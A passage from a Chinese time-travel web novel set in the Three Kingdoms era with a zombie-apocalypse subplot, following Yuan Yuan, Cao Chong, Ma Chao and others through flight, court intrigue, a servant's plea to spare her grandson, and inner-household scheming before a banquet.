独自坐在窗边的马超如同一尊冷峻的石像,周身浸染从天边一路铺陈过来的沉闷。
他手里握着一根比筷子还短的小木棍,一头削成尖形,犹如鹰嘴般锐利,另一头则被打磨得非常圆润,尺寸正好能被娇小的人掌一手握住。捏在马超的手里,却有几分大人把玩小孩玩具的可笑。
如果袁媛在这里,就会发现这根木棍与现代的酷棍非常相似,尤其适合女人与小孩使用。只要以棍尖戳桶、击打关节、穴位、软组织等脆弱部位,被打击对象就会因吃痛迅速丧失攻击力。
当然,马超手里的这根并不是现代社会的产物,而是他殚精竭虑了三天三夜后的成果。不幸的是,还没来得及送到合适的人手中,先传来了她不告而别的消息。
马岱几乎要同情他的哥哥了。
见惯了平日里雷厉风行的马超,还真是不习惯他沉默发呆的样子。哪怕之前因为腰伤颓废的日子,马超的自暴自弃也是大开大合式的,情绪浓烈到即使他不发一言,隔着墙壁都能让人感受到他浑身散发的郁气。
像今天这般静静坐着,好似大脑完全放空一般的发呆,实属罕见。
一直以为忠心耿耿的郑怡小兄弟私逃了,马超竟然没有勃然大怒,而是主动给他找补,一口咬定必然是遇到了不测,也同样非常不可思议。
讲道理,郑怡只是个头朝黄土背朝天的农民,安分守己身无长物,去趟街市而已,能遇到什么不测?更大的可能是,郑怡发现,现下在他家落脚的两个年轻男子是被曹操通缉的要犯,要拿他俩的消息换成沉甸甸的赏银,奔着泼天的富贵去了。
阿兄此时不跑,更待何时?
难道要等曹军精锐找上门来,用刀剑砍下他们的头颅来祭旗吗?
惊雷炸响。
暴雨不要钱似的猛砸屋顶,像锤子般击打着马岱的忍耐力,噼里啪啦听得人心烦。马岱第八次靠着窗
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台往外望,渡口对岸零星的火把光晕依稀可见,如同吐着信子的毒蛇。
谁知道几息之后,它们是不是会突然昂起身子,连成一条巨大的火蛇,扑上来将他们一口吞下。
“快走吧,阿兄!”马岱蹲下身,不由分说地把马超的胳膊环过自己的脖颈,背起哥哥疾步往外走。李意乖觉地跑过来,用力托住马超的腰腹,以防马岱跑得过快把人颠到地上去。
泥浆裹挟着马岱的马靴,令他举步维艰。
“我搜了那小子的房间,发现了这个。”为了打碎马超的幻想,马岱从袖袋里掏出一个五彩绣线编织而成的锦囊,生气地扔进马超怀里。
马超皱眉接住,指尖传来顺滑如玉的触感,正中繁复神秘的图案预示着锦囊来历不凡。
马岱愤愤然:“郑怡若真老实本分,哪里能弄来如此精致的锦囊?这料子一看便价值不菲,能抵他一整年的口粮,寻常农夫怕是活一辈子都没机会见识。”
42. 袁娥
襄阳的小院没挂牌匾,里面住着的妇人据说是军户的妻子,生产时伤了身子,被丈夫送来襄阳疗养。因当家人常年在外征战,家里没有能主事的男丁,所以一年里有大半年紧闭门户,婉拒周遭邻里的交际。
今日,朱漆木门一反常态地大开。
黑漆粗布的马车在门前停定,张贵弓着腰挑起车帘,伸手想扶主子下车,却见曹冲坐着没动,目光沉沉扫向蜷坐在角落里的女子。
“?”女子如梦初醒,后知后觉地意识到自己脱离侍女岗位后生疏了业务,该由自己服侍曹冲下车的。正准备慌忙起身,曹冲的鞋尖已经点在了车厢边缘,深色衣摆拂过,独留她一人面对空荡荡的车厢发呆。
“翁主,小人伺候您!”张贵殷勤地把手伸到袁媛面前。
袁媛顺势借力下车,才想到她现下是天子御封的翁主,不该比曹冲这连一官半职都没有的白丁金贵吗?
他没资格要求她的服侍,反过来还差不多!
所以,方才是她会错意,曹冲实际上是在礼让身份更为贵重的翁主先下车?
袁媛抬头一望,曹冲腿长步快,早就走出很远,完全没有等她的意思。
“翁主日安!”周不疑从后头的一辆马车里钻出身来,轻挠怀里熊猫的下巴,惹得它惬意地眯了眼,也让袁媛眼馋得不行。
真可爱,想rua!
可惜她同周不疑不熟,后者明显不是爱分享的性子,抱熊猫的姿势一看就很护食。
袁媛忍不住问:“你这么喜欢貘,为什么会去市集上卖貘?”
现在袁媛身份暴露,已经没了顾忌。倘若周不疑愿意割爱,她不介意花大价钱把小家伙带回家。
但周不疑给出了一个意料之外的答案。
“因为要把你引出来。”周不疑的手指轻柔地在熊猫背上游走,圆乎乎的熊猫脑袋牢牢摄住了袁媛的心神。
周不疑双手环住熊猫:“不知为何,七公子断定你人在貘县。我们找了很久都没能找到你,最后他
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想了个办法,说你喜欢貘,说不定能用貘把你钓出来。”
袁媛深呼吸。
她有点后悔问这个问题了。
周不疑完全没有戳中人肺管子的自觉,身体微微一转,不着痕迹地把熊猫往袁媛的视线死角拢了拢,笑着道谢:“貘数量稀少,貘崽更是难得。若非翁主喜貘,七公子不会特意派人去野外捕捉,在下是托了翁主的福。”
那也不见你把貘借给我玩。
袁媛翻着白眼收下周不疑不甚诚心的谢意,周不疑抬手理了理被熊猫蹭乱的衣襟,假装没看到袁媛眼巴巴的表情,状似无意地转移话题:“七公子走远了,殿下不追上去吗?”
“你怎么不追?”袁媛怕自己再盯着熊猫看一会儿会忍不住下手抢,强迫自己眼不见为净。调转视线,看到张贵已经像条泥鳅似的窜到曹冲身侧。
袁媛估摸着,以自己的体力,一时半会是不可能追上他们的。
她也不怎么想上赶着用热脸去贴曹冲的冷屁股。
43. 水井
七岁稚童在现代是刚入学的年纪,在三国却要被送进宫里挨刀,实在令人唏嘘。袁媛听李嬷嬷科普了才知道,原来净身也有最佳年龄,一般是五到十岁之间,太小了抵抗力太弱,抗不过阉割导致的伤口感染;进入青春期以后身体又开始发育,增加了去势手术的难度。
李嬷嬷的孙子不大不小,正好七岁,正处在成为阉人的黄金时期。
“阿虎是贱婢的长孙,全家人都指着他长成后传宗接代,实在舍不得他!”李嬷嬷膝行两步,抓住袁媛的裙摆,哭求道,“求殿下开恩!”
“可我人微言轻。”袁媛皱紧眉头,不太明白李嬷嬷为什么会找上自己。她只是个挂名翁主,无权无势,在曹府的根基还不如身为家生子的李嬷嬷,怎能决定的了府中人的去留,“李嬷嬷怕不是病急乱投医了吧?”
“翁主切不可妄自菲薄!”李嬷嬷好不容易抓住了最后一根救命稻草,死也不肯松手,“去年为了替翁主请封,七公子不惜忤逆夫人,险些把夫人气病。贱婢大半辈子都在夫人身边,从襁褓时开始将七公子看到大,还是头一回见七公子如此坚决地维护一名女子。只消翁主求一求七公子,请七公子为贱婢家的孙儿发句话,贱婢家的孙儿便有救了。在这府里,七公子便是天,就连夫人也顶多只能生几天闷气,万万不敢扭着七公子的意思来。”
袁媛无语。
李嬷嬷实在是太高看她了。
曹冲喜怒无常,袁媛根本看不透他的心思,但他的冷血毋庸置疑。当年她刚入府时,不过是个十岁的女童,曹冲却毫无心理负担地把她扔在寒冬的雪地里整整一夜,险些将她冻死。如今,又打定主意要把她带去零陵接受丧尸病毒的洗礼,完全没把她的生死放在心上。
他根本就不可能因为一句轻飘飘的求情去与环夫人打擂台。
除非袁媛能用实质性的好处与他交换。
李嬷嬷已经找不到其他办法,即使是南墙也想撞一撞,总好过眼睁睁看着孙儿走上绝路。
把牙一咬,她扑跪在地:“只要翁主施以援手,帮贱婢的小孙儿躲过了这一劫,贱婢全家都甘为殿下当牛做马!贱婢家人丁不丰,但亲叔叔如今是负责采买的二管事,亲姑姑管着灶上的大事小情,丈夫虽不中用,可在田庄上也颇有几分颜面,膝下两个侄儿也日渐到了能为主子分忧的年纪。日后翁主作了七少夫人,少不得有用到贱婢的地方,贱婢绝无二言!”
“这从何说起?”袁媛险些被李嬷嬷的话噎住,整个人都不好了,“我怎么日后就作了七少夫人?”
“翁主与七公子自幼便有婚约,乃是郎才女貌,天造地设的一对,举府皆知,只夫人另有打算。”李嬷嬷以为小娘子害羞,表情神秘地压低了声量,一双浑浊的招子闪烁着幽幽的光。
“翁主怕是还不知道吧?自去年霜降起,夫人便张罗着为七公子议亲。她着意为儿子找助力
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,故而相看的都是家世显赫的大家闺秀。奈何七公子对殿下痴心一片,婉拒了夫人十数次。夫人原以为翁主遭遇了不测,七公子再是情根深种,时间久了总会回心转意。不成想殿下竟遇难成祥……夫人拿儿子没办法,可不是只能把气撒在殿下身上吗?”
怪不得环夫人对她态度如此恶劣,原来她被曹冲拉去作了拒绝相亲挡箭牌。
这可真是无妄之灾!
袁媛气闷:“我还以为去年冬天给七公子下毒的罪魁祸首没抓住,夫人跟之前一样误把账记在我的头上呢。”
“怎么会?”李嬷嬷欣喜地发现袁媛消息滞后,无比兴奋地展示她的价值,“七公子天纵奇才,怎会被个不入流的小阴谋蒙蔽?您离府后没多久,他便查明了真凶,您猜是谁——”
袁媛猜不出来。可李嬷嬷脸上的期待太过显眼,她完全无法忽视,只能配合地问:“是谁?”
“是晨曦!”李嬷嬷成功引起了袁媛的兴趣,高兴得连下垂的眼尾肌肉都在颤抖,“这小蹄子胆大包天,将毒物渗入七公子的衣物中,妄图谋害七公子,真该被千刀万剐!”
可是,理由呢?
袁媛与四大金刚只有同事间的面上情。她对晨曦了解不多,只从日常相处中觉察出她是个寡言的姑娘,做事麻利,不争功不出挑,非常适合贴身女婢这个职业。
袁媛疑惑地问:“好端端的,晨曦为什么要毒害七公子?”
44. 殉葬
暮色渐深,九月初的微风夹带着晚间的凉意,略过竹帘轻轻抚摸袁媛的秀发。案上青釉刻花白瓷杯中的新茶早就凉透了,浮末零零星星散在杯沿,一如她此刻乱糟糟的心情。
曹冲差不多该回来了。
这几日他早出晚归,一直忙着到处坑蒙拐骗,已经不知往宅中搬了多少米面衣被。他对外打的口号是曹操一时失利于赤壁,却雄心未减,急于筹集粮草物资卷土重来。只有袁媛知道,曹冲募粮不募兵,真正的意图是为即将到来的末世未雨绸缪。
“吱嘎——”
东边的窗户被秋风推开半扇,起身掩窗的间隙,袁媛恰好瞧见挂在廊前的灯笼将曹冲的身影拉得细长。
追,还是不追?
错过了当下,之后再要找曹冲,可得多费一番周折。
靴底踏在青砖上的脚步声渐行渐远,袁媛深吸一口气,把心一横,夺门而出。
“七公子。”近期不是吃就是睡,袁媛许久没有运动,快跑几步,竟然有些喘。曹冲停住脚步,耐心等她说明来意。
“我,我有一事相求。”
灯笼照出的光影攀上曹冲棱角分明的脸,有种不近人情的冷硬。
袁媛忐忑:“听闻丞相欲遣一批男童入宫为侍,夫人选中了李嬷嬷的孙儿……”
话音未落,曹冲轻飘飘的眼风扫过张贵,激得张贵浑身打了个激灵。
“确有此事。”张贵躬身,为曹冲补上前情提要,“李嬷嬷是外院负责采买的二管事李全的侄女,如今在夫人身边当差。她膝下只一个独子,这儿子为她生了两儿一女。七岁的女儿是正室所出,两个庶子一个七岁,一个三岁。翁主说的是李嬷嬷家的长孙,因年岁合适,被夫人定下要送进宫服侍贵人们。李嬷嬷舍不得,估计在夫人面前不敢造次,求到了翁主这里。”
曹冲若有所思:“今年初有一仆妇推举孙女为六兄生殉,可是这个李氏?”
张贵点头:“正是她。”
啊?
袁媛的鸡皮疙瘩都立起来了。
曹冲的六哥曹铄是曹操与刘夫人所出之子,历史上生卒年不详,只知道在魏明帝曹睿登基后被追谥为相殇王。原来他死在建安十四年,且需要活人生殉?
李嬷嬷舍不得孙子当太监,但却力推孙女殉葬,这是什么魔鬼奶奶?
“生殉乃商周古风,自始皇以陶俑入葬,已日渐式微。然而,六公子与大小姐一母同胞,大小姐心疼弟弟早逝,不愿委屈六公子一个人孤零零地呆在地下,力主循古礼,共选了六男童六女童入葬,李嬷嬷的孙女便是其中之一。”
张贵一说,袁媛便想起来刘夫人虽然早已病逝,但早年为曹操诞下两子一女,长子曹昂在征张绣时为救曹操被杀,次子曹铄也命短寿促。
长女曹芬就是张贵口中的大小姐,深得曹操宠爱,日后曹丕继位,将被封为清河长公主。六年前曹芬到了议婚的年纪
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,曹操本来打算与丁仪结亲,谁知曹丕却嫌丁仪眼睛太小,劝说曹操将姐姐嫁给伏波将军夏侯惇之子夏侯楙,促成了这桩并不和睦的婚事,也将丁仪推向了曹植阵营。
夏侯楙与曹丕交好,并非良配,被史学家鱼豢在《魏略》中评价“性无武略”,且十分好色,养了不少妓妾,引发曹芬不满。曹芬也是个狠人,主打一个管不了丈夫就送他去死,太和年间联合夏侯楙的弟弟夏侯子臧、夏侯子江做局谮害亲夫,最终被曹睿识破,将夏侯楙无罪释放,却只训斥了曹芬几句便让她归家反省。
“大小姐虽已是夏侯家的人,但她是咱们府上头一位小姐,地位超然。”张贵小心关注着曹冲的脸色,低声向两位主子汇报:“李嬷嬷无利不起早,舍了个孙女,其实也经过精心盘算。大小姐没亏了她,做主走了老爷身边得力管事的门路,给李嬷嬷的男人谋了个管田庄的肥差。只这李老头实在不济用,连账都算不清,还爱喝酒耍女子。管事怕出乱子,只当庄子上多养个闲人,不敢再把重要的差事交给他办了。”
这妥妥的拿孙女的命换了丈夫的前程!
孙子是人,孙女便不能当人吗?
袁媛开始后悔为李嬷嬷求情了。
原以为她是被封建势力压迫的可怜人,谁知可怜之人另有可恨之处。
曹冲与曹芬隔着房又差着岁数,对长姐出嫁后仍把手伸到娘家的做派不置可否,一心将关注点拉回他感兴趣的方面。
45. 衣裳
劝说曹冲失败,袁媛怀着愤懑的心情入睡,做了一整晚的噩梦,缓了许久才回过神来。
她有点明白曹冲坚持去零陵郡的原因了。
弱者被动等待,强者主动出击。天外陨石带来的第一波变异反应虽然激烈,但高风险高收益,如能通过直接摄入初代变异病毒觉醒,异能强度有很大概率高于被丧尸啃食后觉醒的后来者。
史学家们做过统计,公元2333年在丧尸病毒席卷地球的最初便感染病毒、坚强挺过变异反应的异能者拥有最宽广的能力光谱,除常见的身体强化、元素操控、形态变化三类异能之外,精神系、结界系、腐蚀系、空间系等层出不穷,不断刷新人类的认知,被称为“先行者”。
相比之下,躲过了第一波感染,却在后期因各种原因被丧尸抓伤、咬伤而觉醒的异能,绝大部分都属于基础三类,偶尔出现的特殊异能也总能在先行者的异能库中找到同款,给人留下拾人牙慧的印象,因此被学界称为“后行者”。
末世强者为尊。现代史记载,“先行者”起点高、进阶快、潜力大,战力往往高于“后行者”,所以社会地位超然,很多都看不起“后行者”,时常给他们冠上更具侮辱性的称呼——“山寨”、“水货”、“西贝人”。
唯一能够突破先天不足限制的“后行者”是被丧尸王抓咬导致觉醒的异能者,丧尸王的等级越高,异能者的上限越高。
科学家曾经分析过这种现象,认为异能的种类、潜力、上限与感染的病毒浓度相关。陨石降临的初期,“先行者”感染了极高浓度的丧尸病毒,所以能力极强。而丧尸病毒作为一种外来物种,是很难在地球的自然环境中独立存活的。
未能在一周内找到合适生命体作为宿主的病毒将失去活性,自然消亡。只有及时侵入人类、动物、植物体内并将宿主转化为丧尸态的病毒才能存活下来,以宿主的身体为养分开始繁殖传播。
单个丧尸体内的病毒浓度低,感染的“后行者”异能较弱。只有丧尸王能通过大量抓捕、食用异能者实现快速进化,提高病毒毒性,从而催生出更强的“后行者”。
《浩劫启示录》篇幅有限,袁媛并未介绍“先行者”与“后行者”的区别,但曹冲读书极为细致,悟性又高,恐怕已经从“先行者”变异发烧期时间远远长于“后行者”等细节中,窥探到了蛛丝马迹。
末世中,不仅普通人与异能者的差距犹如天堑,普通“后行者”也无法与“先行者”比肩。强者思维作用下,曹冲甘冒觉醒失败的风险,不成功,便成仁。
袁媛十分佩服曹冲的果决,如果他能自己去,不拉上她陪绑,她会更敬佩他的勇气。
如今这份佩服打了折扣,但袁媛主动提供的关于治愈异能的信息令曹冲看到了希望,一改之前对她的冷淡,从百忙中抽出空来关心她的衣食住行:“你打算就穿这样去参加高陵亭侯府的满月宴?”
半轮残阳懒懒挂在飞檐,府门前已停妥的两辆马车被镀上一层淡淡赫红。在渐暗天色中泛着油光的骏马盯着门口的人影,鼻翼翕张,不耐烦地喷出两道鼻息。
袁媛垂眸看了看身上的衣裙。
月白曲裾素净飘逸,亚青滚边如水墨画中晕染的墨迹,若隐若现。外衫广袖轻盈,被微风吹起时,游鱼般贴着手臂上滑,露出凝脂似的纤细手腕,将极其舒服的触感收进三寸衣袖里。
不是挺好看的吗?
她是逛市集时被曹冲强绑来的襄阳,当时身上穿的是男装,还为了低调特意选的庄稼人常穿的款式,又土又脏,被曹冲嫌弃得不行。因此,路上经过城镇夜宿时,张贵不知从哪里帮她置办来一整箱子的成衣,尺寸大小都很合适,穿到现在也没重样过。考虑到今天有社交需求,她特意从中挑出用料最为考究的一件,难不成竟然选错了?
袁媛疑惑。
环夫人连个眼风都没分给她,只慈爱地帮姗姗来迟的儿子理了理衣襟,捏着帕子掩唇:“翁主……瞧着是有些不大妥当。也是我疏忽,忘了翁主丧父失母,缺乏长辈教导……”
她刻意顿了顿,轻松将话语里的茶味提升了好几个等级:“可惜,时辰已晚,此刻回去更衣已是来不及。还是快些出发吧,莫误了开宴的吉时。”
这衣服很失礼吗?
环夫人的话虽然不中听,但袁媛穿越后一直在底层挣扎,确实不懂高门大户的交际礼节。也许这衣服犯了她不知道的忌讳?
封建社会的贵族阶级出门,自有符合贵族身份的排场。高陵亭侯府的请柬上只写了三人名讳,但随侍三人的婢女嬷嬷、杂役小厮加起来足有二三十人,此刻乌泱泱挤在门前,一齐聆听环夫人的阴阳怪气。
倒是没人敢发出声响。
驭车的马奴缩着脑袋躲在马后,侍立在环夫人身后的仆妇相互挤眉弄眼,刚承了袁媛情的李嬷嬷从同事中探出头来,天光正好在她鼻梁上划下分界线。明处的左脸挂着做作的关切,暗处的右脸藏着隐晦的精明,喉头滚动,在松垮的颈皮下顶出尖,仿佛一时那不定主意该不该挺身而出。
那日七公子前脚进了翁主的屋子,后脚张贵便来环夫人跟前回话,说六七岁的男童少不更事,得培养上好些年才能得用。且他们过早离府,时间长了怕是早忘了府里的调教栽培,长大后一旦倒戈,后患无穷。不若换成年长些的送进宫,一方面与府中的羁绊更深,另一方面心智也更健全些,能更好为府里办差。
因他说得有理有据,环夫人没有怀疑其中有袁媛和李嬷嬷的手笔,点头在入宫名册上勾掉了李阿虎的名字。
李嬷嬷伺候环夫人多年,很清楚她面热心冷,不太关心手下人的死活。
但李嬷嬷因为阿虎的事在袁媛和曹冲面前都挂上了号,却不能毫无表示,否则哪怕小娘子面子薄愿意干吃哑巴亏,七公子也不好相与。
李嬷嬷踮起脚尖,悄悄往前挪了半个身位,正准备站到七公子能看得更清楚的位置,表一表忠心。
“方才我与夫人在这里等了七公子足有半炷香的时间,夫人宁可我与大眼瞪小眼,也坚持闭紧嘴巴,始终未提衣裳有不妥之处。不想,七公子一来便懊悔自己的‘疏忽’。呵呵,可真是拿捏得恰到好处。”
清冷的声线划破寂静,李嬷嬷把卡在喉咙口的话囫囵咽了下去,眼睁睁看着这位不幸在幼年便从云端跌入尘埃的翁主殿下不按常理出牌,三言两语就把环夫人的瞳孔气成了麦芒大小。
——她平日里像是个不声不响的闷葫芦,都以为她是鹌鹑,原来竟是只斗鸡!
若是换了其他贵女,在众目睽睽之下被环夫人不软不硬地扎了几根钉子,哪里有胆量回怼?要知道,她如今是孤身一人在外,环夫人背靠偌大一个府宅,所有下人都听她号令。她从腰间拔下一根汗毛来,都能压死袁媛。
偏偏这位翁主不慌不乱,好似在家中闲庭信步般淡定从容。
是胸有成竹还是蠢不自知?李嬷嬷一时无法决断。
环夫人捂住胸口,不可置信地看向袁媛:“堂堂四世三公的袁家血脉,竟如此没有礼数,怕不是满门绝尽后一时想不开,得了疯症?来人,还不快把她送回府里静养——”
“阿母慎言。”
关键时刻,曹冲径直打断环夫人,三步并作两步走到袁媛身侧,吩咐张贵:
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“开了库房,将预备送给三位妹妹做陪嫁的衣裳和头面、首饰各挑一套合适的快马送来。其他人先行出发,我与夫人乘一辆马车,夕雾与翁主一辆。待东西送上来后夕雾服侍翁主梳妆,听明白了吗?”
“是!”张贵与夕雾分头行事。
环夫人愕然,扶着额一阵头晕,要不是被儿子及时伸手扶住,险些当场晕厥。
“你,你竟如此护着她!”环夫人借着曹冲的力道稳住身体,恍惚间觉得方才儿子护住袁媛的架势,与年前曹操护着纳入府的新人一般无二。
“儿子送您上车。”曹冲亲自将环夫人安置在马车锦垫上,自己撩袍坐在侧塌,随着马儿提蹄的嘶鸣,曹冲的声音被混在了辘辘声中。
“高陵亭侯二十岁便跟随阿父在襄邑募兵,多年来南征北战,立下不少汗马功劳,深得阿父信任。若他为我美言,何愁阿父不肯松口允我入行伍?如今正是需要拉拢高陵亭侯府的时候,难得袁媛竟是侯府夫人亲妹,阿母为何要毁此天赐良机?”
环夫人拽着帕子的手指骤然收紧:“不过是个继室,熬了这么些年才生下头一个奶娃娃,先头那位夫人留下的嫡子可都快成丁了!况且,去岁长坂坡之战,刘备弃妻小而逃,高陵亭侯俘获了他两个如花似玉的女儿,恐怕早就见了新人,忘了旧人!”
“阿母有所不知。”妇道人家的目光只围着后宅打转,曹冲对症下药,与她细讲侯府的阴司,“刘备的两个女儿半年前便已失宠,如今常被安排在宴席上作陪,早无一争之力。袁夫人手段了得,现下在侯府中一家独大。她与袁媛姐妹情深,我们若给她妹妹没脸,她必怀恨在心,坏了我们的大事可就得不偿失。”
“这……”环夫人迟疑,双手拽住曹冲,“高陵亭侯并非沉溺女色之人,袁娥能有这样大的本事影响夫君的决断?”
“自古英雄难过美人关,色之一字,向来最难预料。”曹冲有理有据,“即使英明神武如阿父,也会因邹氏美色致张绣复叛,间接害死大兄、安民兄与典韦,悔之莫及。”
环夫人心下一颤。
她平日里并不关心战事。虽然丈夫是个终日在战场拼杀的枭雄,但消息传到她耳朵里时,不过是他今天去这儿打仗了,明天又去那儿打仗了,战场瞬息万变,环夫人连地名都懒得记。
然而,宛城之战太有名,曹操的长子曹昂、弟弟的儿子曹安民皆殒命于此,其中又夹杂了曹操与张绣婶婶邹氏的桃色事件,早被传得沸沸扬扬,环夫人想不听见都难。
在坊间绘声绘色的描述里,骠骑将军张济的遗孀邹氏长得花容月貌,令曹操一见倾心,强行纳为姬妾。张济的族侄张绣因此怀恨,突然造反,在宛城将曹操打了个措手不及。
曹操痛失培养多年的继承人曹昂,原配丁夫人因此与曹操决裂,直接改变了曹操的后宅格局,卞、环、杜、秦等膝下有子的夫人因此滋生出母凭子贵的野望。
环夫人有三子,曹冲居长,且自幼有天才之名,夺嫡胜算最大。可惜曹操心思摇摆难测,曹丕十岁便跟着父亲参与了宛城之战,在曹冲如今的年纪,他已经能在军中独当一面。然而,曹冲却还在府中作无业游民。
倘若袁媛能助力曹冲出仕,她忍下今日之气,倒也不亏……
环夫人眉梢微挑,指甲掐入掌心,话音里带着三分迟疑:“为我儿的前程计,为娘自是什么委屈都乐意受的。只是——你莫不会哄骗我吧?”
“小不忍则乱大谋。”曹冲环住母亲的臂膀,音量不高,但他知道环夫人听了进去,“当务之急,是寻一个契机,与几位兄长站到一个棋盘上,同场竞技,方有资格谈以后。”
46. 宅斗
“殿下请抬臂。”
夕雾手执青色系带,绕过袁媛不盈一握的柳腰时,马车突发颠簸,她不慌不忙地将人护在怀里,顺势在腰窝处打出一个精致的同心结。
袁媛颦眉打量新换上的裙袍,疑惑道,“这套裙裳的面料似乎很罕见?”
货比货得扔。袁媛虽然对衣料的种类一知半解,但只需将前后两条裙子对比,一眼便能看出品质的参差。
夕雾勾着指尖将点翠环佩挂到袁媛胸前,手始终悬空三寸,既不触碰衣料,又挂得不偏不倚,声音沉沉:“此唤‘三十二道罗’,由生丝经抽、捻、烫、晒、整、提等三十二道工序制作而成,千金不换。”
这本是曹冲准备让三个妹妹带进宫的陪嫁,价格不菲实属正常,袁媛暗暗点头,指着换下来的衣裙问:“这套衣裳哪里不妥当,是颜色不够吉利吗?”
方才袁媛就在猜测,添丁进口是喜事,喜庆的颜色可能更讨主人家的喜欢。但月白也不是不喜庆。虽然名字里有个“白”字,但月白与吊唁用的纯白差异很大。古人认为月亮的颜色白中带着淡淡的蓝,所以三国的月白其实是现代的浅蓝,是女性穿搭中的常用色,绝对不会与丧服颜色弄混。
夕雾给出的理由却出乎袁媛的意料。
“正色为贵,间色为贱。月白为间色,您贵为翁主,您的外甥是高陵亭侯府嫡子,两贵碰作一处,应着贵色彰显翁主对侯夫人产子的重视。”
夕雾将青色外衫披上袁媛肩头,胸前用银丝线暗锈的福禄图若隐若现:“翁主先前的衣裳属广袖曲裾,与奴婢们身上的窄袖袍服区别明显,是大家小姐居家时常穿的款式,可鲜少有人穿出去赴宴的。”除了袖子的差别,婢女的裙子通常较短,袁媛的曲裾更长,适合不事生产的女性,显得更为优雅大方。
“居家服较为轻薄,翁主先前这件袖子用的是羽纱,风一吹,会沿着手臂往上滑,触感是极舒服凉爽的,价钱也不便宜,可毕竟不够庄重。”夕雾用指尖挑起桂花头油,顺着袁媛的发丝自上而下梳拢,“出席宴会的礼服多用厚重面料,绫罗绸缎皆可,绣金银线暗纹点缀更宜,大气端庄。”
夕雾巧手翻飞,细致盘起繁花髻,将通体碧绿的翡翠步摇斜斜插入发间。
米粒大的流苏坠在袁媛耳畔,令她不由自主晃了晃脑袋。
袁媛算是听明白了。
从颜色到款式再到材质,她之前选的裙子,就没有一个方面是适合穿去参加高陵亭侯府宴会的。
“是我欠考虑了。”袁媛没什么不好承认的,只觉古代礼制里的弯弯绕实在麻烦,“多谢你提点。”
“奴婢不敢。”夕雾跪在车厢里,细致地帮袁媛将裙摆展平。
盯着裙片上随着马车晃动的珍珠流苏迟疑片刻,她垂下眼帘,低声开口:“高陵亭侯与先夫人是亲上做亲,娶的是侯府老夫人的娘家侄女。先夫人病故后,老夫人担忧新妇进门会令嫡孙受委屈,本欲聘先夫人亲妹为继夫人。谁知侯爷与袁太尉先定下了亲事,殿下的姐姐捷足先登,令老夫人的谋划落空。”
袁媛有些意外。
她与夕雾曾经在邺城共事过很长一段时间,但除了工作上的交集,私底下说的话两只手都数得过来,典型的泛泛之交。眼下她毫无预兆地甩出这样一大篇话,实在是出乎袁媛的预料。
夕雾双手捧起绣鞋,将鞋尖向着袁媛足下前推半寸,嘴下不停:“老夫人并未因此死心。先夫人的妹妹李氏未能成为正妻,却赶在翁主的姐姐完礼前先抬进了府,成了侯府的贵妾。可想而知,当时侯爷的后宅,并不太平。”
李氏的名分是妾,天然矮了袁娥一头,但袁娥若想随意拿捏她,纯粹是痴人说梦。古人重视孝道,仅仅一个晨昏定省的规矩就能将媳妇折磨得死去活来。李氏上有老夫人撑腰,下有侯府嫡子亲近,在侯府后宅的开局,并不比袁娥差多少。
夕雾眼观鼻,鼻观心:“袁夫人成婚六年,今岁才诞下长子,但这并非她的首胎。当年,她新婚不足半年便传出喜讯,老夫人顺势以养胎为由,命李氏接手了她的管家之权。袁夫人气急攻心,中间恐怕也有些不为外人所知的变故,总之最后袁夫人下红不止,挣扎了两日,落下一个成型的死胎。”
“啊!”袁媛忍不住惊呼。
短短几句话,背后隐藏着多少阴谋算计、爱恨情仇!
这不是电视剧里的情节,而是实实在在发生过的宅斗。
夕雾仿佛已经见怪不怪,声线依旧平稳:“落了胎,自然是该休养的。老夫人体恤儿媳,不想令儿媳辛苦,管家权便一直由李氏暂代着。李氏也是个知恩图报的人,赌咒发誓说会将先夫人的嫡子视如己出,为此不惜喝避子汤以表决心。”
袁媛恍然:“李氏避孕,除了向老夫人表忠心以外,应该也有怕受孕后管家权会重新回到我姐姐手里的因素吧?”这与现代一些职场女性担心孕产导致职位被顶,干脆不生或者购买人造子宫生产异曲同工。
没想到古代全职的家庭妇女也会有同样的苦恼。
“正是如此。”夕雾轻轻点头,“但袁夫人并不是个只会坐以待毙的人。李氏野心勃勃,袁夫人表面退让,暗地里却细心筹划。变数发生在两年前的一次赏月宴,当时恰逢老夫人生辰,李氏为讨老夫人欢心,也想显一显她当家理事的能耐,花大价钱在府中临水处设下‘碧水映月’的观景台,邀请了百余位夫人小姐共赏。”
这是,要出什么幺蛾子了吧?
袁媛屏住呼吸,安静等听下文。
夕雾娓娓道来:“当日,所有宾客都坐在观景台上,还未等到月亮移到头顶、倒影在碧水池中的美景,先看到池中浮起一具女尸,赫然便是给他们下帖子、盛邀大家来赏月的李氏。可能为了应当日的景,池子中的李氏身上便穿了一条月白色襦裙。不知是谁轻笑一声,说了一句令所有宾客毛骨悚然的话——碧水中的月白裙,怎不是另一种意义上的‘碧水映月’呢?自此,月白色便变成了高陵亭侯的禁忌。”
这……
袁媛倒吸一口凉气。
幸好她换了裙子,否则可真是在一无所知的情况下拉满
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了仇恨。
可是,李氏会是袁娥杀的吗?
夕雾续道:“老夫人一口咬定袁夫人是杀人凶手,但高陵亭侯姬妾众多,除了袁夫人,其他十数位夫人也与李氏有过节。且李氏为人骄横,治家狠厉,不少仆从也对她恨之入骨。总之,老夫人拿不出证据,此事最终被定性为意外,管家权重新回到袁夫人手里。她与老夫人的关系愈加恶劣,几乎到了水火不容的地步。”
袁媛汗毛直立。
显而易见,原身的这个姐姐是个胆大心细的狠人,谋略、手段、狠辣一样不缺,还没见面就震住了只在电视剧里见过后宅阴司的袁媛。
古代能从宅斗中脱颖而出的贵妇,果然不可能是省油的灯!
她不会看出来她妹妹的芯子换了人吧?
袁媛开始真真切切的心慌了。
心慌也没用。
马车在高陵亭侯府门口停定,夕雾早早掀起了帘子,先行下车摆好黑木脚踏,伸手扶袁媛下车。
“翁主殿下金安!”一个四十左右的中年武将未着甲胄,却自带金戈铁马的气度,像一把玄铁重戈杵在高陵亭侯府的牌匾下,结实的手臂抱拳而握,“内子挂念多时,请翁主移步内院。”
袁媛福身还礼,曹冲扶着环夫人走上前来,目光落在门内的一方照壁上:“十二叔这宅子,越发的气派了。瞧这壁墙上的九虎群乐图,用的怕不是荆山石吧?”
“贤侄好眼力!”曹纯朗声大笑,震得檐角扑棱飞起三只雨燕,“正是长坂坡之战的战利品荆山石。工匠雕了近一年才完工,刚搬来就被贤侄看了个正着!”
环夫人跟着凑趣:“侯爷当真威武!妾身听说,长坂坡之战时,侯爷的虎豹骑以三千精锐之师,断刘备十万流民辎重,擒获其女眷,打散其士气,英勇无双。方才出发前,翁主还同妾身赞叹,侯爷真乃当世罕见之良将也!”
